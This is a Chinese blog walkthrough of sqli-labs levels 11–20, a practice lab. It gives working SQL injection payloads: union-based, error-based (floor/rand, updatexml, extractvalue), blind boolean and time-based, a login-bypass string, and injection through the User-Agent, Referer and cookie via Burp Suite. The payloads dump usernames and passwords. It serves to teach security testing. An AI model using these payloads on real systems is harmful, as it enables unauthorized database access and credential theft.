zoukankan      html  css  js  c++  java
  • sqli-labs闯关之11-20关,第18关有burpsuit的具体使用方法

    不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限!

    11到21关的提交方式全是post型的,我这里使用burpsuit抓包软件,也可以用hackbar选中的post,下面的实验我们穿插的使用(用hackbar的时候我们的注释符号用#,不能用--+,因为--+会出错)

    第十一关

    从这一关开始,我们就进入到了POST注入的世界了。在接下来的几关中我们将陆续介绍关于POST注入的方法以及技巧。

    post是一种数据提交方式,它主要是指数据从客户端提交到服务器端

    首先我们发现他是单引号字符型注入

     判断它有几个显示位,(看来是两个)

     接下来我们使用  联合查询语句 union select 来进行爆破,使用union select的时候要注意,输入的unname必须是一个不存在的,,否则将会输出不出来

     首先获取数据库使用者  名称权限,版本

    获取我们要爆破的数据库名

    获得该数据库中的表名

    获得列名,因为我们没有指定数据库,所以他把所有数据库里面的users表的列名全都列出来,,

    加上and table_schema=database()就可以指定该数据库,注意users旁边要加引号,不加会出错

     获得用户名密码

    第十二关(注入格式将十一关的'换成 ") 就行)

    和第十一关一样,就是把单引号闭合换成双引号变形闭合就可以啦  '     ——>    ")

     

    第十三关

    发现输入完正确的输入后,他不给我们回显出来,说明这关是盲注了,就又和第五关一样了,参考第五关。通过这关的名字我们可以判断是单引号变形,就是‘)进行闭合

     Double Injection- String- with twist(双注入 - 字符型 - 变形)

     

    既然它返回错误信息了,说明有回显,可以报错注入。

    样例payload,,获得数据库名

    在concat()中构造查询语句,

    爆数据库名,版本,用户, , ,有多少组用户密码,用户和密码

     1 uname= ') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit
     2 
     3 uname= ') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit
     4 
     5 
     6 uname= ') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit
     7 
     8 uname= ') union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit
     9 
    10 uname= ') union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit
    11 
    12 uname= ') union select 1,2 from (select count(*),concat((select concat(count(*),0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit
    13 
    14 uname= ') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    最后获得用户名和密码

     (中间还可以用布尔型手工注入,正确会回显,错误不回显)

    (第五关基本一样,不再赘述)不会的可以看我上一篇文章很清晰的讲述了如何到这步

    第十四关

    和第十三关基本一样就是把单引号变形  变成  双引号,过程不再赘述,最后获得用户名和密码

    这里用的布尔型手工注入,正确会回显,错误不回显(我这只截图了一种方法,共有三种方法)

     

    第十五关

    这关题目是说时间延迟单引号盲注,那咱就用时间延迟吧,但是其实用上一关的布尔盲注也是完全可以的

     获取用户密码

     

    第十六关

    和第十五关基本一样,区别就是把单引号闭合变成了双引好括号闭合,没有回显位,用时间盲注

    时间盲注获得用户名

     布尔盲注得密码(证明两种方法都可以解题)

     还有一种更快的方法,我们大费周章就是为了获得用户名密码。这种方法又叫做万能密码,就是我们即使不输入密码,用户名只要写成admin")#   这样的形式就可以进去

    第十七关

    这关有点意思啦,我上来先用万能密码尝试发现不能,经过单引号,双引号以及变形,发现不管怎么样都没有得出我们想要的结果

    后来通过查网页和看php文件,我发现这关对username做了很严格的过滤,对各种引号括号进行了转义,判断。但是它没有对password进行过滤,所有我们来对password进行爆破

    我不经意间发现,这一关好像对密码没有进行验证,只要你用户名对,密码是什么他都可以进去

    这关我试了试好像不能进行布尔盲注和时间盲注,可以试试报错型注入

    使用updatexml(),它和extractvaule()是亲兄弟、

    获取版本(可有可无,就是为了验证这个方法是否可行)

     获得库名

     获得表名

     获得列名

     获取字段使用报,,错性注入会出现错误(出现这个错误You can't specify target table 'users' for update in FROM clause)

    错误的意思是说,不能先select出同一表中的某些值,再update这个表(在同一语句中)

     对于这个问题,,可以采用双层 select(),

    第十八关

    这关是 基于报错注入,上一关没有对password进行过滤,这关就进行过滤了,那怎么办呢?

    这关我们就要用burp抓包神器了(注意把浏览器设置成代理模式,抓包的网站不要用localhost,因为我试了试发现不能)

    把浏览器设置为代理,,设置手动代理时,,将端口设置为8080

     Burp中设置,前面的勾一定要有,不然无法监听

    之后,开着burp,,,再去浏览器随便点下Submit或者执行就行。

    浏览器就会,一直处于刷新状态    说明抓包成功

     我们先输入一个admin,admin,,把包放回

    这样把包放回后,,,右得重新设置代理,抓包,太麻烦

    我们直接把抓来的代码全选,,发送到repeater,这样咱们就不用在浏览器上一直输入了,方便快捷

    我们把这句话换成我们想要的查询语句就可以了(使用extractvalue进行)和第12关的语句基本一样

    获得数据库名

     go完之后就可以直接在Burp上查看啦

    还是那个地方,,把语句换成

    'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '

    获得数据库表

    换成:'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) and '

    获得数据库列名

    获得用户名密码(这里只显示了一部分密码,当然可以用not in来看其他的密码)

    'and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password)from users),0x7e)) and'

    第十九关

    这一关一进去输入账户密码就发现有一个Referer的东西,我猜就是改变它的值,事实确实如此,和上一关基本一样就是把agent换成了referer

    代理,抓包,修改headers中的User-Agent(十八关中修改的部分),获得库名……获得用户名和密码,又是重复性动作了,和上一关语句都一样,我就不截图那么多了

    第二十关

    进来先输入用户名密码,测试一下,发现是关于cookie值的进行注入,那我们就在这里注入

    同样的设置代理,抓包,,抓包后发送到repeater:

     在上图划线部分注入,

    改cookie:uname=admin',报错,说明存在注入漏洞

     还是那老一套,看加不加单引号,怎么闭合,有几个显示位。

    查看列数:uname=' order by 4 # (注意闭合sql语句)

    判断回显位置:uname='union select 1,2,3#            最后发现是单引号闭合,有三个显示位

    爆库名

    表名,列名,都和第一关的payload一样

    表名和列名的语句

    1 uname=-giao' union select 1,13,(select group_concat(table_name)from information_schema.tables where table_schema='security')--+
    2 3 uname=-giao' union select 1,13,(select group_concat(column_name)from information_schema.columns where table_name='users')#

    爆信息

    11-20结束

  • 相关阅读:
    Horovod 分布式深度学习框架相关
    COO 与 CSR 稀疏矩阵存取格式;
    CUDA 编程相关;tensorflow GPU 编程;关键知识点记录;CUDA 编译过程;NVCC
    tensorflow dataloader 相关内容
    z390 m.2 接口插上sata 硬盘后,机械硬盘不识别;HDD 硬盘不识别;z390 m.2和 SATA 硬盘安装组合;
    C 实战练习题目10
    C 实战练习题目9
    C 实战练习题目8
    C 实战练习题目7
    C 实战练习题目6
  • 原文地址:https://www.cnblogs.com/escwq/p/12264074.html
Copyright © 2011-2022 走看看